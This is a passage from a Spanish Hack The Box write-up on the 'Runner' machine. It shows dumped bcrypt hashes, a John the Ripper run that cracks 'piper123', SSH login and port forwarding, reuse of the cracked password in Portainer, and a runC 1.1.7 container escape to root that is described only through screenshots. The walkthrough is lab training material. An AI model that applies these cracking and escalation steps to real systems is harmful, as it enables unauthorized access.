  <span class="mi">2</span><span class="p">,</span> <span class="n">matthew</span><span class="p">,</span> <span class="err">$</span><span class="mi">2</span><span class="n">a</span><span class="err">$</span><span class="mi">07</span><span class="err">$</span><span class="n">q</span><span class="p">.</span><span class="n">m8WQP8niXODv55lJVovOmxGtg6K</span><span class="o">/</span><span class="n">YPHbD48</span><span class="o">/</span><span class="n">JQsdGLulmeVo</span><span class="p">.</span><span class="n">Em</span><span class="p">,</span> <span class="n">Matthew</span><span class="p">,</span> <span class="n">matthew</span><span class="o">@</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span><span class="p">,</span> <span class="mi">1709150421438</span><span class="p">,</span> <span class="n">BCRYPT</span>
  <span class="mi">11</span><span class="p">,</span> <span class="n">admin</span><span class="p">.</span><span class="mi">03</span><span class="n">tq</span><span class="p">,</span> <span class="err">$</span><span class="mi">2</span><span class="n">a</span><span class="err">$</span><span class="mi">07</span><span class="err">$</span><span class="n">ssCrJlQub3j6JilRvlqtbOVQuzhwxRPcuWNOylHgTr1q7APg727RK</span><span class="p">,</span> <span class="p">,</span> <span class="n">admin</span><span class="p">.</span><span class="mi">03</span><span class="n">tQ</span><span class="o">@</span><span class="n">lol</span><span class="p">.</span><span class="n">omg</span><span class="p">,</span> <span class="mi">1723753919282</span><span class="p">,</span> <span class="n">BCRYPT</span>
  <span class="mi">12</span><span class="p">,</span> <span class="n">city_adminvb7m</span><span class="p">,</span> <span class="err">$</span><span class="mi">2</span><span class="n">a</span><span class="err">$</span><span class="mi">07</span><span class="err">$</span><span class="n">MjRIMfFQyaBzNAy8BVbS</span><span class="p">..</span><span class="n">snX3Zz0npHUZP7wdonGIdN9oxtkqYyS</span><span class="p">,</span> <span class="p">,</span> <span class="n">angry</span><span class="o">-</span><span class="n">admin</span><span class="o">@</span><span class="n">funnybunny</span><span class="p">.</span><span class="n">org</span><span class="p">,</span> <span class="mi">1723754746653</span><span class="p">,</span> <span class="n">BCRYPT</span>
</code></pre></div>    </div>

    <p>Hemos encontrado la contraseña <code class="language-plaintext highlighter-rouge">piper123</code>, la cual nos será útil más adelante</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">john</span> <span class="o">--</span><span class="n">wordlist</span><span class="o">=</span><span class="n">wordlist</span> <span class="nb">hash</span>
  <span class="n">Using</span> <span class="n">default</span> <span class="nb">input</span> <span class="n">encoding</span><span class="p">:</span> <span class="n">UTF</span><span class="o">-</span><span class="mi">8</span>
  <span class="n">Loaded</span> <span class="mi">4</span> <span class="n">password</span> <span class="n">hashes</span> <span class="k">with</span> <span class="mi">4</span> <span class="n">different</span> <span class="n">salts</span> <span class="p">(</span><span class="n">bcrypt</span> <span class="p">[</span><span class="n">Blowfish</span> <span class="mi">32</span><span class="o">/</span><span class="mi">64</span> <span class="n">X3</span><span class="p">])</span>
  <span class="n">Cost</span> <span class="mi">1</span> <span class="p">(</span><span class="n">iteration</span> <span class="n">count</span><span class="p">)</span> <span class="ow">is</span> <span class="mi">128</span> <span class="k">for</span> <span class="nb">all</span> <span class="n">loaded</span> <span class="n">hashes</span>
  <span class="n">Will</span> <span class="n">run</span> <span class="mi">2</span> <span class="n">OpenMP</span> <span class="n">threads</span>
  <span class="n">Press</span> <span class="s">'q'</span> <span class="ow">or</span> <span class="n">Ctrl</span><span class="o">-</span><span class="n">C</span> <span class="n">to</span> <span class="n">abort</span><span class="p">,</span> <span class="n">almost</span> <span class="nb">any</span> <span class="n">other</span> <span class="n">key</span> <span class="k">for</span> <span class="n">status</span>
  <span class="nb">Warning</span><span class="p">:</span> <span class="n">Only</span> <span class="mi">1</span> <span class="n">candidate</span> <span class="n">left</span><span class="p">,</span> <span class="n">minimum</span> <span class="mi">6</span> <span class="n">needed</span> <span class="k">for</span> <span class="n">performance</span><span class="p">.</span>
  <span class="n">piper123</span>         <span class="p">(</span><span class="err">?</span><span class="p">)</span>
  <span class="mi">1</span><span class="n">g</span> <span class="mi">0</span><span class="p">:</span><span class="mi">00</span><span class="p">:</span><span class="mi">06</span><span class="p">:</span><span class="mi">56</span> <span class="n">DONE</span> <span class="p">(</span><span class="mi">2024</span><span class="o">-</span><span class="mi">08</span><span class="o">-</span><span class="mi">15</span> <span class="mi">23</span><span class="p">:</span><span class="mi">43</span><span class="p">)</span> <span class="mf">20.00</span><span class="n">g</span><span class="o">/</span><span class="n">s</span> <span class="mf">20.00</span><span class="n">p</span><span class="o">/</span><span class="n">s</span> <span class="mf">80.00</span><span class="n">c</span><span class="o">/</span><span class="n">s</span> <span class="mf">80.00</span><span class="n">C</span><span class="o">/</span><span class="n">s</span> <span class="n">piper123</span>
  <span class="n">Use</span> <span class="n">the</span> <span class="s">"--show"</span> <span class="n">option</span> <span class="n">to</span> <span class="n">display</span> <span class="nb">all</span> <span class="n">of</span> <span class="n">the</span> <span class="n">cracked</span> <span class="n">passwords</span> <span class="n">reliably</span>
  <span class="n">Session</span> <span class="n">completed</span><span class="p">.</span>
</code></pre></div>    </div>

    <h1 id="acceso-a-la-máquina-con-ssh">Acceso a la máquina con ssh</h1>

    <p>Ahora nos conectaremos por <code class="language-plaintext highlighter-rouge">ssh</code> primero de todo le damos permisos <code class="language-plaintext highlighter-rouge">chmod 600 id_rsa</code> y luego <code class="language-plaintext highlighter-rouge">ssh -i john@10.10.11.13 -i id_rsa</code></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">ssh</span> <span class="n">john</span><span class="o">@</span><span class="mf">10.10</span><span class="p">.</span><span class="mf">11.13</span> <span class="o">-</span><span class="n">i</span> <span class="n">id_rsa</span>
  <span class="n">Welcome</span> <span class="n">to</span> <span class="n">Ubuntu</span> <span class="mf">22.04</span><span class="p">.</span><span class="mi">4</span> <span class="n">LTS</span> <span class="p">(</span><span class="n">GNU</span><span class="o">/</span><span class="n">Linux</span> <span class="mf">5.15</span><span class="p">.</span><span class="mi">0</span><span class="o">-</span><span class="mi">102</span><span class="o">-</span><span class="n">generic</span> <span class="n">x86_64</span><span class="p">)</span>
    
   <span class="o">*</span> <span class="n">Documentation</span><span class="p">:</span>  <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">help</span><span class="p">.</span><span class="n">ubuntu</span><span class="p">.</span><span class="n">com</span>
   <span class="o">*</span> <span class="n">Management</span><span class="p">:</span>     <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">landscape</span><span class="p">.</span><span class="n">canonical</span><span class="p">.</span><span class="n">com</span>
   <span class="o">*</span> <span class="n">Support</span><span class="p">:</span>        <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">ubuntu</span><span class="p">.</span><span class="n">com</span><span class="o">/</span><span class="n">pro</span>
</code></pre></div>    </div>

    <p>Y si hacemos un <code class="language-plaintext highlighter-rouge">ls</code>encontraremos el <code class="language-plaintext highlighter-rouge">user.txt(flag)</code></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">john</span><span class="o">@</span><span class="n">runner</span><span class="p">:</span><span class="o">~</span><span class="err">$</span> <span class="n">ls</span>
  <span class="n">user</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div>    </div>

    <h1 id="escalada-a-root">Escalada a <code class="language-plaintext highlighter-rouge">root</code></h1>

    <p>Si miramos los puertos que corren en la máquina víctima con el comando <code class="language-plaintext highlighter-rouge">netstat -ntlp</code>, encontramos varios puertos que nos llaman la atención</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">john</span><span class="o">@</span><span class="n">runner</span><span class="p">:</span><span class="o">~</span><span class="err">$</span> <span class="n">netstat</span> <span class="o">-</span><span class="n">nltp</span>
  <span class="n">Active</span> <span class="n">Internet</span> <span class="n">connections</span> <span class="p">(</span><span class="n">only</span> <span class="n">servers</span><span class="p">)</span>
  <span class="n">Proto</span> <span class="n">Recv</span><span class="o">-</span><span class="n">Q</span> <span class="n">Send</span><span class="o">-</span><span class="n">Q</span> <span class="n">Local</span> <span class="n">Address</span>           <span class="n">Foreign</span> <span class="n">Address</span>         <span class="n">State</span>       <span class="n">PID</span><span class="o">/</span><span class="n">Program</span> <span class="n">name</span>
  <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">9443</span>          <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span>      <span class="o">-</span>
  <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">8111</span>          <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span>      <span class="o">-</span>
  <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="mi">80</span>              <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span>      <span class="o">-</span>
  <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="mi">22</span>              <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span>      <span class="o">-</span>
  <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">127.0</span><span class="p">.</span><span class="mf">0.53</span><span class="p">:</span><span class="mi">53</span>           <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span>      <span class="o">-</span>
  <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">5005</span>          <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span>      <span class="o">-</span>
  <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">9000</span>          <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span>      <span class="o">-</span>
  <span class="n">tcp6</span>       <span class="mi">0</span>      <span class="mi">0</span> <span class="p">:::</span><span class="mi">80</span>                   <span class="p">:::</span><span class="o">*</span>                    <span class="n">LISTEN</span>      <span class="o">-</span>
  <span class="n">tcp6</span>       <span class="mi">0</span>      <span class="mi">0</span> <span class="p">:::</span><span class="mi">22</span>                   <span class="p">:::</span><span class="o">*</span>                    <span class="n">LISTEN</span>      <span class="o">-</span>
  <span class="n">tcp6</span>       <span class="mi">0</span>      <span class="mi">0</span> <span class="p">:::</span><span class="mi">8000</span>                 <span class="p">:::</span><span class="o">*</span>                    <span class="n">LISTEN</span>      <span class="o">-</span>
</code></pre></div>    </div>

    <p>Vamos a aplicar <strong>port forwarding</strong> a dichos puertos para que nuestra máquina local pueda acceder a los servicios que corren en los puertos de la máquina víctima</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">ssh</span> <span class="o">-</span><span class="n">L</span> <span class="mi">9443</span><span class="p">:</span><span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">9443</span> <span class="o">-</span><span class="n">L</span> <span class="mi">8111</span><span class="p">:</span><span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">8111</span> <span class="o">-</span><span class="n">L</span> <span class="mi">9000</span><span class="p">:</span><span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">9000</span> <span class="o">-</span><span class="n">L</span> <span class="mi">5005</span><span class="p">:</span><span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">5005</span> <span class="n">juan</span><span class="o">@</span><span class="mf">10.10</span><span class="p">.</span><span class="mf">11.13</span> <span class="o">-</span><span class="n">i</span> <span class="n">id_rsa</span>
</code></pre></div>    </div>

    <p>Si miramos de acceder a <code class="language-plaintext highlighter-rouge">127.0.0.1:9000</code> encontramos este panel de inicio de sesión</p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%204.png" alt="image.png" /></p>

    <p>Vamos a probar a acceder con el usuario <strong><code class="language-plaintext highlighter-rouge">Matthew</code></strong>y la contraseña descifrada anteriormente, <strong><code class="language-plaintext highlighter-rouge">piper123</code></strong>.</p>

    <p>Como podemos ver en la imagen, se utilizando <strong>Portainer</strong> para gestionar contenedores.</p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%205.png" alt="image.png" /></p>

    <p>Portainer es una herramienta gráfica para gestionar Docker, pero el software que realmente ejecuta los contenedores en el sistema podría ser <strong>runC</strong>.</p>

    <p>Para confirmar si <strong>runC</strong> está en uso podemos aplicar esto en la máquina victima</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">runc</span> <span class="o">--</span><span class="n">version</span>
</code></pre></div>    </div>

    <p>Y efectivamente , tiene <code class="language-plaintext highlighter-rouge">runc v1.1.7</code></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">john</span><span class="o">@</span><span class="n">runner</span><span class="p">:</span><span class="o">~</span><span class="err">$</span> <span class="n">runc</span> <span class="o">--</span><span class="n">version</span>
  <span class="n">runc</span> <span class="n">version</span> <span class="mf">1.1</span><span class="p">.</span><span class="mi">7</span><span class="o">-</span><span class="mi">0</span><span class="n">ubuntu1</span><span class="o">~</span><span class="mf">22.04</span><span class="p">.</span><span class="mi">1</span>
  <span class="n">spec</span><span class="p">:</span> <span class="mf">1.0</span><span class="p">.</span><span class="mi">2</span><span class="o">-</span><span class="n">dev</span>
  <span class="n">go</span><span class="p">:</span> <span class="n">go1</span><span class="p">.</span><span class="mf">18.1</span>
  <span class="n">libseccomp</span><span class="p">:</span> <span class="mf">2.5</span><span class="p">.</span><span class="mi">3</span>
</code></pre></div>    </div>

    <p>Si buscamos en Google por <code class="language-plaintext highlighter-rouge">runc version 1.1.7 vulnerability</code> encontramos esta <a href="https://nitroc.org/en/posts/cve-2024-21626-illustrated/">web</a></p>

    <p>Vamos a explotar está vulnerabilidad</p>

    <p>Primero de todo crearemos un contenedor</p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%206.png" alt="image.png" /></p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%207.png" alt="image.png" /></p>

    <p>Una vez hecho esto , se nos creará el contenedor , vamos a acceder y entraremos a la sección de <code class="language-plaintext highlighter-rouge">console</code></p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%208.png" alt="image.png" /></p>

    <p>Y nos conectaremos como <code class="language-plaintext highlighter-rouge">root</code></p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%209.png" alt="image.png" /></p>

    <p>Nos saldrá una terminal y somos <code class="language-plaintext highlighter-rouge">root</code></p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%2010.png" alt="image.png" /></p>

    <h1 id="finalización">Finalización</h1>
    <p>Espero que hayan aprendido mucho haciendo esta máquina y les haya servido de ayuda mi explicación para poder entender esta <strong>CTF</strong>. Muchas gracias por leer el artículo y no olviden seguirme en <a href="https://github.com/0x832/">GitHub</a>, ya que también iré subiendo herramientas de hacking.</p>
  </li>
</ul>]]></content><author><name>0x832</name></author><category term="Hack the box" /><category term="Pentesting" /><category term="CTF" /><category term="TeamCity 2023.05.3" /><category term="SSH" /><category term="runC (versión 1.1.7)" /><category term="Hack the box" /><summary type="html"><![CDATA[Hola a todos, hoy les presentaré la resolución de una máquina **Hack the box de dificultad Media**. En esta máquina aprenderemos a explotar una vulnerabilidad en **TeamCity 2023.05.3** para posteriormente conectarnos por **SSH** y llegar a ser **root aprovechando una versión obsoleta de runC (versión 1.1.7).**]]></summary></entry></feed>